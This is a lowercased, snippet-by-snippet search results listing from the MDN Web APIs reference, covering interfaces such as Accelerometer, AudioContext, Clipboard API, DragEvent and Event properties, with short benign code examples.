the signal read-only property of the abortcontroller interface returns an abortsignal object instance, which can be used to communicate with/abort a dom request as desired.
...this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener.
... }).catch(function(e) { reports.textcontent = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with an aborterror.
...And 2 more matches
Accelerometer.Accelerometer() - Web APIs
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... syntax var accelerometer = new accelerometer([options]) parameters options optional options are as follows: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onerror will be called.
... specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
Accelerometer.x - Web APIs
WebAPIAccelerometerx
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... example acceleration is typically read in the sensor.onreading event callback.
... let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
Accelerometer.y - Web APIs
WebAPIAccelerometery
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... example acceleration is typically read in the sensor.onreading event callback.
... let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
Accelerometer.z - Web APIs
WebAPIAccelerometerz
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... example acceleration is typically read in the sensor.onreading event callback.
... let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
Accelerometer - Web APIs
if a feature policy blocks the use of a feature, it is because your code is inconsistent with the policies set on your server.
... example acceleration is typically read in the sensor.onreading event callback.
... let acl = new accelerometer({frequency: 60}); acl.addeventlistener('reading', () => { console.log("acceleration along the x-axis " + acl.x); console.log("acceleration along the y-axis " + acl.y); console.log("acceleration along the z-axis " + acl.z); }); acl.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
AmbientLightSensor.AmbientLightSensor() - Web APIs
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... syntax var ambientlightsensor = new ambientlightsensor(options) parameters options optional currently only one option is supported: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
... specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
AmbientLightSensor.illuminance - Web APIs
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... syntax var level = ambientlightsensor.illuminance value a number indicating the current light level in lux.
... example if ( 'ambientlightsensor' in window ) { const sensor = new ambientlightsensor(); sensor.onreading = () => { console.log('current light level:', sensor.illuminance); }; sensor.onerror = (event) => { console.log(event.error.name, event.error.message); }; sensor.start(); } specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
AnalyserNode.getByteFrequencyData() - Web APIs
the frequency data is composed of integers on a scale from 0 to 255.
... example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input.
... analyser.fftsize = 256; var bufferlength = analyser.frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { drawvisual = requestanimationframe(draw); analyser.getbytefrequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); var barwidth = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = '...
...And 2 more matches
AnalyserNode.maxDecibels - Web APIs
the maxdecibels property of the analysernode interface is a double value representing the maximum power value in the scaling range for the fft analysis data, for conversion to unsigned byte/float values — basically, this specifies the maximum value for the range of results when using getfloatfrequencydata() or getbytefrequencydata().
... syntax var curvalue = analysernode.maxdecibels; analysernode.maxdecibels = newvalue; value a double, representing the maximum decibel value for scaling the fft analysis data, where 0 db is the loudest possible sound, -10 db is a 10th of that, etc.
... example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input.
...And 2 more matches
AnalyserNode.minDecibels - Web APIs
the mindecibels property of the analysernode interface is a double value representing the minimum power value in the scaling range for the fft analysis data, for conversion to unsigned byte/float values — basically, this specifies the minimum value for the range of results when using getfloatfrequencydata() or getbytefrequencydata().
... syntax var curvalue = analysernode.mindecibels; analysernode.mindecibels = newvalue; value a double, representing the minimum decibel value for scaling the fft analysis data, where 0 db is the loudest possible sound, -10 db is a 10th of that, etc.
... example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input.
...And 2 more matches
AudioBufferSourceNode.loopEnd - Web APIs
the loopend property of the audiobuffersourcenode interface specifies is a floating point number specifying, in seconds, at what offset into playing the audiobuffer playback should loop back to the time indicated by the loopstart property.
... syntax audiobuffersourcenode.loopend = endoffsetinseconds; var endoffsetinseconds = audiobuffersourcenode.loopend; value a floating-point number indicating the offset, in seconds, into the audio buffer at which each loop will loop return to the beginning of the loop (that is, the current play time gets reset to audiobuffersourcenode.loopstart).
... when the audio is played to the end, it loops, but you can control how long the loops last by altering loopstart and loopend.
...And 2 more matches
AudioContext() - Web APIs
available properties are as follows: latencyhint optional the type of playback that the context will be used for, as a value from the audiocontextlatencycategory enum or a double-precision floating-point value indicating the preferred maximum latency of the context in seconds.
... usage notes the specification doesn't go into a lot of detail about things like how many audio contexts a user agent should support, or minimum or maximum latency requirements (if any), so these details can vary from browser to browser.
... in particular, the specification doesn't indicate a maximum or minimum number of audio contexts that must be able to be open at the same time, so this is left up to the browser implementations to decide.
...And 2 more matches
AudioContext.close() - Web APIs
closed contexts cannot have new nodes created, but can decode audio data, create buffers, etc.
... this function does not automatically release all audiocontext-created objects, unless other references have been released as well; however, it will forcibly release any system audio resources that might prevent additional audiocontexts from being created and used, suspend the progression of audio time in the audio context, and stop processing audio data.
...this method throws an invalid_state_err exception if called on an offlineaudiocontext.
...And 2 more matches
AudioContext.suspend() - Web APIs
the suspend() method of the audiocontext interface suspends the progression of time in the audio context, temporarily halting audio hardware access and reducing cpu/battery usage in the process — this is useful if you want an application to power down the audio hardware when it will not be using an audio context for a while.
... this method will cause an invalid_state_err exception to be thrown if called on an offlineaudiocontext.
... example the following snippet is taken from our audiocontext states demo (see it running live.) when the suspend/resume button is clicked, the audiocontext.state is queried — if it is running, suspend() is called; if it is suspended, resume() is called.
...And 2 more matches
AudioContext - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monos...
...this can be used to play and manipulate audio from <video> or <audio> elements.
... audiocontext.createmediastreamsource() creates a mediastreamaudiosourcenode associated with a mediastream representing an audio stream which may come from the local computer microphone or other sources.
...And 2 more matches
AudioContextOptions - Web APIs
it is only used when calling the audiocontext() constructor.
... properties latencyhint optional the type of playback that the context will be used for, as a value from the audiocontextlatencycategory enum or a double-precision floating-point value indicating the preferred maximum latency of the context in seconds.
... constants standard values for latencyhint the latencyhint property can be number specifying a preferred maximum latency in seconds or a string from the audiocontextlatencycategory enumerated string, which selects a standard value for a given type of audio usage: value description "balanced" the user agent should balance audio output latency and power consumption when selecting a latency value.
...And 2 more matches
AudioListener.setOrientation() - Web APIs
example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
... generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
...And 2 more matches
AudioNode.channelInterpretation - Web APIs
this can be somewhat controlled by setting the audionode.channelinterpretation property to speakers or discrete: interpretation input channels output channels mixing rules speakers 1 (mono) 2 (stereo) up-mix from mono to stereo.
...as it is mixed down to two channels, it is mixed at a lower power: in each case it is multiplied by √2/2.
...as it is mixed down to two channels, it is mixed at a lower power: in each case it is multiplied by √2/2.
...And 2 more matches
AudioScheduledSourceNode.onended - Web APIs
the ended event is only sent to a node configured to loop automatically when the node is stopped using its stop() method.
... this is the case, for example, when using an audiobuffersourcenode with its loop property set to true.
... syntax audioscheduledsourcenode.onended = eventhandler; value a function which is called by the browser when the ended event occurs on the audioscheduledsourcenode.
...And 2 more matches
AudioScheduledSourceNode - Web APIs
specifically, this interface defines the start() and stop() methods, as well as the onended event handler.
... you can't create an audioscheduledsourcenode object directly.
... unless stated otherwise, nodes based upon audioscheduledsourcenode output silence when not playing (that is, before start() is called and after stop() is called).
...And 2 more matches
AudioTrack.enabled - Web APIs
note: this example assumes that there is only one of each kind of track in the video, but this is not necessarily the case.
... the element's audio tracks are then scanned through using the javascript foreach() method (although the audiotracks property of a media element isn't actually a javascript array, it can be accessed like one for the most part).
... the scan looks for the tracks whose kind values are "main" and "commentary" and remembers those audiotrack objects.
...And 2 more matches
AudioTrack.id - Web APIs
WebAPIAudioTrackid
this id can be used with the audiotracklist.gettrackbyid() method to locate a specific track within the media associated with a media element.
... the track id can also be used as the fragment of a url that loads the specific track (if the media supports media fragments).
... syntax var trackid = audiotrack.id; value a domstring which identifies the track, suitable for use when calling gettrackbyid() on an audiotracklist such as the one specified by a media element's audiotracks property.
...And 2 more matches
AudioTrackList.length - Web APIs
a value of 0 indicates that there are no audio tracks in the media.
... syntax var trackcount = audiotracklist.length; value a number indicating how many audio tracks are included in the audiotracklist.
... each track can be accessed by treating the audiotracklist as an array of objects of type audiotrack.
...And 2 more matches
AudioTrackList.onremovetrack - Web APIs
the audiotracklist onremovetrack event handler is called when the removetrack event occurs, indicating that an audio track has been removed from the media element, and therefore also from the audiotracklist.
... note: you can also add a handler for the removetrack event using addeventlistener().
... syntax audiotracklist.onremovetrack = eventhandler; value set onremovetrack to a function that accepts as input a trackevent object which indicates in its track property which audio track has been removed from the media element.
...And 2 more matches
AudioWorkletNode - Web APIs
although the interface is available outside secure contexts, the baseaudiocontext.audioworklet property is not, thus custom audioworkletprocessors cannot be defined outside them.
... the audioworkletnode interface of the web audio api represents a base class for a user-defined audionode, which can be connected to an audio routing graph along with other nodes.
... audioworkletnode.port read only returns a messageport used for bidirectional communication between the node and its associated audioworkletprocessor.
...And 2 more matches
AudioWorkletNodeOptions - Web APIs
it is only used when calling the audioworkletnode() constructor.
... processoroptions optional any additional data that can be used for custom initialization of the underlying audioworkletprocessor.
... usage notes when creating an audioworkletnode, these options can have various effects.
...And 2 more matches
Blob.slice() - Web APIs
WebAPIBlobslice
the blob interface's slice() method creates and returns a new blob object which contains data from a subset of the blob on which it's called.
... syntax var newblob = blob.slice(start, end, contenttype); parameters start optional an index into the blob indicating the first byte to include in the new blob.
... end optional an index into the blob indicating the first byte that will *not* be included in the new blob (i.e.
...And 2 more matches
Blob.stream() - Web APIs
WebAPIBlobstream
usage notes with stream() and the returned readablestream, you gain several interesting capabilities: call getreader() on the returned stream to get an object to use to read the data from the blob using methods such as the readablestreamdefaultreader interface's read() method.
... call the returned stream's pipeto() method to pipe the blob's data to a writable stream.
... call the returned stream's tee() method to tee the readable stream.
...And 2 more matches
BudgetState - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbudgetstate experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ?
... samsung internet android full support 8.0budgetat experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ?
... samsung internet android full support 8.0time experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ?
...And 2 more matches
CSSPrimitiveValue.getFloatValue() - Web APIs
if this css value doesn't contain a float value or can't be converted into the specified unit, a domexception is raised.
...the value can be obtained by using the getfloatvalue method.
... css_pc the value is a <length> in picas.
...And 2 more matches
ChannelMergerNode - Web APIs
if channelmergernode has one single output, but as many inputs as there are channels to merge; the number of inputs is defined as a parameter of its constructor and the call to audiocontext.createchannelmerger.
... in the case that no value is given, it will default to 6.
...in that case, when the signal is sent to the audiocontext.listener object, supernumerary channels will be ignored.
...And 2 more matches
ClipboardItem - Web APIs
access to the contents of the clipboard is gated behind the permissions api: the clipboard-write permission is granted automatically to pages when they are in the active tab.
... the clipboard-read permission must be requested, which you can do by trying to read data from the clipboard.
... note: you can only pass in one clipboard item at a time.
...And 2 more matches
Clipboard API - Web APIs
access to the contents of the clipboard is gated behind the permissions api: the clipboard-write permission is granted automatically to pages when they are in the active tab.
... the clipboard-read permission must be requested, which you can do by trying to read data from the clipboard.
...the specification refers to this as the 'async clipboard api.' clipboardevent secure context represents events providing information related to modification of the clipboard, that is cut, copy, and paste events.
...And 2 more matches
CompositionEvent.initCompositionEvent() - Web APIs
syntax compositioneventinstance.initcompositionevent(typearg, canbubblearg, cancelablearg, viewarg, dataarg, localearg) parameters typearg a domstring representing the type of composition event; this will be one of compositionstart, compositionupdate, or compositionend.
... canbubblearg a boolean specifying whether or not the event can bubble.
... cancelablearg a boolean shether or not the event can be canceled.
...And 2 more matches
Console.group() - Web APIs
WebAPIConsolegroup
this indents following console messages by an additional level, until console.groupend() is called.
... using groups in the console requires gecko 9.0(firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) you can use nested groups to help organize your output by visually associating related messages.
... to create a new nested block, call console.group().
...And 2 more matches
ConstrainDouble - Web APIs
additionally, you can specify the property's value as a simple floating-point value, in which case the user agent does its best to match the value once all other more stringent constraints are met.
... ideal a double-precision floating-point number specifying a value the property would ideally have, but which can be considered optional if necessary to find a match.
... specifications specification status comment media capture and streamsthe definition of 'constraindouble' in that specification.
...And 2 more matches
ConstrainULong - Web APIs
in addition, you can specify the value as a simple long integer value, in which case the user agent does its best to match the value once all other more stringent constraints are met.
... ideal an integer specifying a value the property would ideally have, but which can be considered optional if necessary to find a match.
... specifications specification status comment media capture and streamsthe definition of 'constrainulong' in that specification.
...And 2 more matches
ContentIndex.add() - Web APIs
WebAPIContentIndexadd
category: optional a string defining the category of content.
... can be: '' an empty string, this is the default.
... // our content const item = { id: 'post-1', url: '/posts/amet.html', title: 'amet consectetur adipisicing', description: 'repellat et quia iste possimus ducimus aliquid a aut eaque nostrum.', icons: [{ src: '/media/dark.png', sizes: '128x128', type: 'image/png', }], category: 'article' }; // our asynchronous function to add indexed content async function registercontent(data) { const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) { return; } // register content try { await registration.index.add(data); } catch (e) { console.log('failed to register content: ', e.message); } } ...
...And 2 more matches
CredentialsContainer - Web APIs
methods credentialscontainer.create()secure context returns a promise that resolves with a new credential instance based on the provided options, or null if no credential object can be created.
...for example, you might call this, after a user signs out of a website to ensure that he/she isn't automatically signed in on the next site visit.
... earlier versions of the spec called this method requireusermediation().
...And 2 more matches
CryptoKey - Web APIs
WebAPICryptoKey
for security reasons, the cryptokey interface can only be used in a secure context.
... cryptokey.extractable boolean indicating whether or not the key may be extracted using subtlecrypto.exportkey() or subtlecrypto.wrapkey().
... cryptokey.algorithm an object describing the algorithm for which this key can be used and any associated extra parameters.
...And 2 more matches
CustomElementRegistry.define() - Web APIs
there are two types of custom elements you can create: autonomous custom element: standalone elements; they don't inherit from built-in html elements.
... // create a class for the element class popupinfo extends htmlelement { constructor() { // always call super first in constructor super(); // create a shadow root var shadow = this.attachshadow({mode: 'open'}); // create spans var wrapper = document.createelement('span'); wrapper.setattribute('class','wrapper'); var icon = document.createelement('span'); icon.setattribute('class','icon'); icon.setattribute('tabindex', 0); var info = document.createelemen...
...:focus + .info {' + 'opacity: 1;' + '}'; // attach the created elements to the shadow dom shadow.appendchild(style); shadow.appendchild(wrapper); wrapper.appendchild(icon); wrapper.appendchild(info); } } // define the new element customelements.define('popup-info', popupinfo); <popup-info img="img/alt.png" text="your card validation code (cvc) is an extra security feature — it is the last 3 or 4 numbers on the back of your card."> note: constructors for autonomous custom elements must extend htmlelement.
...And 2 more matches
DOMImplementation - Web APIs
domimplementation.hasfeature() returns a boolean indicating if a given feature is supported or not.
... specifications specification status comment domthe definition of 'domimplementation' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'domimplementation' in that specification.
...And 2 more matches
DOMPoint.fromPoint() - Web APIs
you can also create a new dompoint object using the new dompoint() constructor.
... return value a new dompoint object whose coordinate and perspective values are identical to those in the source point.
... examples creating a mutable point from a read-only point if you have a dompointreadonly object, you can easily create a mutable copy of that point: var mutablepoint = dompoint.frompoint(readonlypoint); creating a 2d point this sample creates a 2d point, specifying an inline object that includes the values to use for x and y.
...And 2 more matches
DOMPointInit - Web APIs
it's used as the return value when calling tojson().
... properties dompointinit.x an unrestricted floating-point value indicating the x-coordinate of the point in space.
...this is the vertical coordinate, and barring any transforms applied to the coordinate system, positive values are downward and negative values upward toward the top of the screen.
...And 2 more matches
DOMPointReadOnly - Web APIs
first, you can use its constructor, passing in the values of the parameters for each dimension and, optionally, the perspective: /* 2d */ const point = new dompointreadonly(50, 50); /* 3d */ const point = new dompointreadonly(50, 50, 25); /* 3d with perspective */ const point = new dompointreadonly(100, 100, 100, 1.0); the other option is to use the static dompointreadonly.frompoint() method: const point = dompointreadonly.frompoint({x: 100, y: 100, z: 50; w: 1.0}); constructor dompointreadonly() creates a new dompointreadonly...
...to create a point using adompointinit object, you can instead use dompointreadonly.frompoint().
... dompointreadonly.y read only the point's vertical coordinate, y.
...And 2 more matches
DOMRect - Web APIs
WebAPIDOMRect
for example, vreyeparameters.renderrect from the defunct webvr api specified the viewport of a canvas into which visuals for one eye of a head mounted display should be rendered.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/domrectreadonly" target="_top"><rect x="1" y="1" width="150" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">domrectreadonly</text></a><polyline points="151,25 161,20 161,30 151,25" stroke="#d4dde4" fill="none"/><line x1="161" y1="25" x2="191" y2=...
... static methods domrectreadonly.fromrect() creates a new domrect object with a given location and dimensions.
...And 2 more matches
DOMTokenList - Web APIs
domtokenlist is always case-sensitive.
...returns a boolean indicating whether token is in the list after the operation.
... domtokenlist.foreach(callback [, thisarg]) executes a provided callback function once per domtokenlist element.
...And 2 more matches
DOMUserData - Web APIs
domuserdata refers to application data.
... note that although it can be an object, in mozilla, it may be returned as a string or other type, if it was set as such a type (e.g., node.setuserdata() and node.getuserdata()).
... domuserdata is not persisted nor serialized and will not be present after the application has restarted or after a crash.
...And 2 more matches
DataTransfer.clearData() - Web APIs
if this method is called with no arguments or the format is an empty string, the data of all types will be removed.
... this method can only be used in the handler for the dragstart event, because that's the only time the drag operation's data store is writeable.
... event.datatransfer.cleardata(); // set the drag's format and data (use event target's id for data) event.datatransfer.setdata('text/plain', event.target.id); data.innerhtml = event.datatransfer.getdata('text/plain'); } function dragendhandler (event) { if (!dropped) { status.innerhtml = 'drag canceled'; } data.innerhtml = event.datatransfer.getdata('text/plain') || 'empty'; // change border to signify drag is no longer in process event.currenttarget.style.border = '1px solid black'; if (dropped) { // remove all event listeners draggable.removeeventlistener('dragstart', dragstarthandler); draggable.removeeventlistener('dragend', dragendhandler); ...
...And 2 more matches
DataTransferItem - Web APIs
datatransferitem.type read only the drag data item's type, typically a mime type.
... datatransferitem.getasstring() invokes the specified callback with the drag data item string as its argument.
... specifications specification status comment html living standardthe definition of 'datatransferitem' in that specification.
...And 2 more matches
Device Memory API - Web APIs
capabilities of the client devices largely depend on the amount of available ram.
... traditionally, developrs had to use heruistics and either benchmark the device or infer the device capabilities based on other factors like device manufacturer or user agent strings.
... accessing device memory capacity there are two ways to acces the approximate amount of ram device has: via javascript api and via client hints http header.
...And 2 more matches
DisplayMediaStreamConstraints.audio - Web APIs
this value may simply be a boolean, where true indicates that an audio track should be included an false (the default) indicates that no audio should be included in the stream.
... note: the specification for the screen capture api does not define what the contents of the audio track should be.
... if a boolean is specified, a value of true indicates that an audio track should be included in the stream returned by getdisplaymedia(), if an appropriate audio source exists and the user agent supports audio on display media.
...And 2 more matches
Document: DOMContentLoaded event - Web APIs
bubbles yes cancelable yes (although specified as a simple event that isn't cancelable) interface event event handler property none a different event, load, should be used only to detect a fully-loaded page.
...if you want the dom to get parsed as fast as possible after the user has requested the page, you can make your javascript asynchronous and optimize loading of stylesheets.
...ter; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } js const log = document.queryselector('.event-log-contents'); const reload = document.queryselector('#reload'); reload.addeventlistener('click', () => { log.textcontent =''; window.settimeout(() => { window.location.reload(true); }, 200); }); window.addeventlistener('load', (event) => { log.textcontent = log.textcontent + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); document.addeventlistener('domcontentloaded', (event) => { log.textcontent = log.textcontent + `domcontentloaded\n`; ...
...And 2 more matches
Document.exitFullscreen() - Web APIs
this usually reverses the effects of a previous call to element.requestfullscreen().
...if an error occurs while attempting to exit full-screen mode, the catch() handler for the promise is called.
... example this example causes the current document to toggle in and out of a full-screen presentation whenever the mouse button is clicked within it.
...And 2 more matches
Document.getElementsByName() - Web APIs
syntax var elements = document.getelementsbyname(name); elements is a live nodelist collection, meaning it automatically updates as new elements with the same name are added to/removed from the document.
... example <!doctype html> <html lang="en"> <title>example: using document.getelementsbyname</title> <input type="hidden" name="up"> <input type="hidden" name="down"> <script> var up_names = document.getelementsbyname("up"); console.log(up_names[0].tagname); // displays "input" </script> </html> notes the name attribute can only be applied in (x)html documents.
...be careful not to use the same string as both a name and an id.
...And 2 more matches
Document.getElementsByTagNameNS() - Web APIs
name is either the local name of elements to look for or the special value *, which matches all elements (see element.localname).
... note: while the w3c specification says elements is a nodelist, this method returns a htmlcollection both in gecko and internet explorer.
... note: currently parameters in this method are case-sensitive, but they were case-insensitive in firefox 3.5 and before.
...And 2 more matches
Document.importNode() - Web APIs
to include it, you need to call an insertion method such as appendchild() or insertbefore() with a node that is currently in the document tree.
... note: in the dom4 specification, deep was an optional argument with a default value of true.
... example const iframe = document.queryselector("iframe"); const oldnode = iframe.contentwindow.document.getelementbyid("mynode"); const newnode = document.importnode(oldnode, true); document.getelementbyid("container").appendchild(newnode); notes before they can be inserted into the current document, nodes from external documents should either be: cloned using document.importnode(); or adopted using document.adoptnode().
...And 2 more matches
Document.ononline - Web APIs
WebAPIDocumentononline
both events are non-cancellable (you can't prevent the user from coming online, or going offline).
...a computer can be connected to a network without having internet access.
... you can register listeners for these events in a few familiar ways: using addeventlistener on the window, document, or document.body by setting the .ononline or .onoffline properties on document or document.body to a javascript function object.
...And 2 more matches
Document: transitionend event - Web APIs
in the case where a transition is removed before completion, such as if the transition-property is removed or display is set to none, then the event will not be generated.
... bubbles yes cancelable yes interface transitionevent event handler property ontransitionend the transitionend event is fired in both directions - as it finishes transitioning to the transitioned state, and when it fully reverts to the default or non-transitioned state.
...if the transitioncancel event is fired, the transitionend event will not fire.
...And 2 more matches
Document: wheel event - Web APIs
the wheel event fires when the user rotates a wheel button on a pointing device (typically a mouse).
... bubbles yes cancelable yes interface wheelevent event handler property globaleventhandlers.onwheel this event replaces the non-standard deprecated mousewheel event.
... examples scaling an element via the wheel this example shows how to scale an element using the mouse (or other pointing device) wheel.
...And 2 more matches
DocumentOrShadowRoot.activeElement - Web APIs
if so, you can get more detail by using the object's selectionstart and selectionend properties.
... typically a user can press the tab key to move the focus around the page among focusable elements, and use the space bar to activate one (that is, to press a button or toggle a radio button).
...for example, on macos systems, elements that aren't text input elements are not typically focusable by default.
...And 2 more matches
DragEvent - Web APIs
WebAPIDragEvent
the user initiates a drag by placing a pointer device (such as a mouse) on the touch surface and then dragging the pointer to a new location (such as another dom element).
... applications are free to interpret a drag and drop interaction in an application-specific way.
... dragend this event is fired when a drag operation is being ended (by releasing a mouse button or hitting the escape key).
...And 2 more matches
Element: DOMMouseScroll event - Web APIs
bubbles yes cancelable yes interface mousescrollevent if you want to prevent the default action of mouse wheel events, it's not enough to handle only this event on gecko because if scroll amount by a native mouse wheel event is less than 1 line (or less than 1 page when the system setting is by page scroll), other mouse wheel events may be fired without this event.
... on gecko 17 (firefox 17) or later, you need to call preventdefault() of wheel events which must be fired for every native event.
... detail the detail property describes the scroll more precisely, with positive values indicating scrolling downward and negative values indicating scrolling upward.
...And 2 more matches
Element.attributes - Web APIs
syntax var attr = element.attributes; example basic examples // get the first <p> element in the document var para = document.getelementsbytagname("p")[0]; var atts = para.attributes; enumerating elements attributes numerical indexing is useful for going through all of an element's attributes.
...result.value = output; } else { result.value = "no attributes to show"; } } </script> </head> <body> <p id="paragraph" style="color: green;">sample paragraph</p> <form action=""> <p> <input type="button" value="show first attribute name and value" onclick="listattributes();"> <input id="result" type="text" value=""> </p> </form> </body> </html> specifications specification status comment domthe definition of 'element.attributes' in that specification.
... living standard from document object model (dom) level 3 core specification, moved from node to element document object model (dom) level 3 core specificationthe definition of 'element.attributes' in that specification.
...And 2 more matches
Element.className - Web APIs
WebAPIElementclassName
example let el = document.getelementbyid('item'); if (el.classname === 'active'){ el.classname = 'inactive'; } else { el.classname = 'active'; } notes the name classname is used for this property instead of class because of conflicts with the "class" keyword in many languages which are used to manipulate the dom.
... classname can also be an instance of svganimatedstring if the element is an svgelement.
... specifications specification status comment domthe definition of 'element.classname' in that specification.
...And 2 more matches
Element: contextmenu event - Web APIs
this event is typically triggered by clicking the right mouse button, or by pressing the context menu key.
... in the latter case, the context menu is displayed at the bottom left of the focused element, unless the element is a tree, in which case the context menu is displayed at the bottom left of the current row.
... any right-click event that is not disabled (by calling the event's preventdefault() method) will result in a contextmenu event being fired at the targeted element.
...And 2 more matches
Element: cut event - Web APIs
WebAPIElementcut event
bubbles yes cancelable yes interface clipboardevent event handler property oncut the event's default action is to copy the current selection (if any) to the system clipboard and remove it from the document.
... a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the default action using event.preventdefault().
... note though that cancelling the default action will also prevent the document from being updated.
...And 2 more matches
Element.scrollLeft - Web APIs
on systems using display scaling, scrollleft may give you a decimal value.
... setting the value // set the number of pixels scrolled element.scrollleft = 10; scrollleft can be specified as any integer value.
... however: if the element can't be scrolled (e.g., it has no overflow), scrollleft is set to 0.
...And 2 more matches
Element: wheel event - Web APIs
the wheel event fires when the user rotates a wheel button on a pointing device (typically a mouse).
... this event replaces the non-standard deprecated mousewheel event.
... bubbles yes cancelable yes interface wheelevent event handler property onwheel note: don't confuse the wheel event with the scroll event.
...And 2 more matches
Event.composed - Web APIs
WebAPIEventcomposed
the read-only composed property of the event interface returns a boolean which indicates whether or not the event will propagate across the shadow dom boundary into the standard dom.
...however, capturing only composed events are also handled at host as if they were in at_target phase.
... you can determine the path the event will follow through the shadow root to the dom root by calling composedpath().
...And 2 more matches
Event.currentTarget - Web APIs
instead, you can either directly console.log(event.currenttarget) to be able to view it in the console or use the debugger statement, which will pause the execution of your code thus showing you the value of event.currenttarget.
... specifications specification status comment domthe definition of 'event.currenttarget' in that specification.
... living standard dom4the definition of 'event.currenttarget' in that specification.
...And 2 more matches
Event.defaultPrevented - Web APIs
the defaultprevented read-only property of the event interface returns a boolean indicating whether or not the call to event.preventdefault() canceled the event.
... note: you should use this instead of the non-standard, deprecated getpreventdefault() method (see bug 691151).
... syntax var defaultwasprevented = event.defaultprevented; value a boolean, where true indicates that the default user agent action was prevented, and false indicates that it was not.
...And 2 more matches
Event.target - Web APIs
WebAPIEventtarget
it is different from event.currenttarget when the event handler is called during the bubbling or capturing phase of the event.
... syntax const thetarget = someevent.target; value eventtarget example the event.target property can be used in order to implement event delegation.
...element('li'); ul.appendchild(li1); ul.appendchild(li2); function hide(evt) { // e.target refers to the clicked <li> element // this is different than e.currenttarget, which would refer to the parent <ul> in this context evt.target.style.visibility = 'hidden'; } // attach the listener to the list // it will fire when each <li> is clicked ul.addeventlistener('click', hide, false); specifications specification status comment domthe definition of 'event.target' in that specification.
...And 2 more matches
EventListener - Web APIs
the eventlistener interface represents an object that can handle an event dispatched by an eventtarget object.
... eventlistener.handleevent() a function that is called whenever an event of the specified type occurs.
... example html <button id="btn">click here!</button> javascript const buttonelement = document.getelementbyid('btn'); // add a handler for the 'click' event by providing a callback function.
...And 2 more matches
FileEntrySync - Web APIs
inherits from: entrysync about this document this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011.
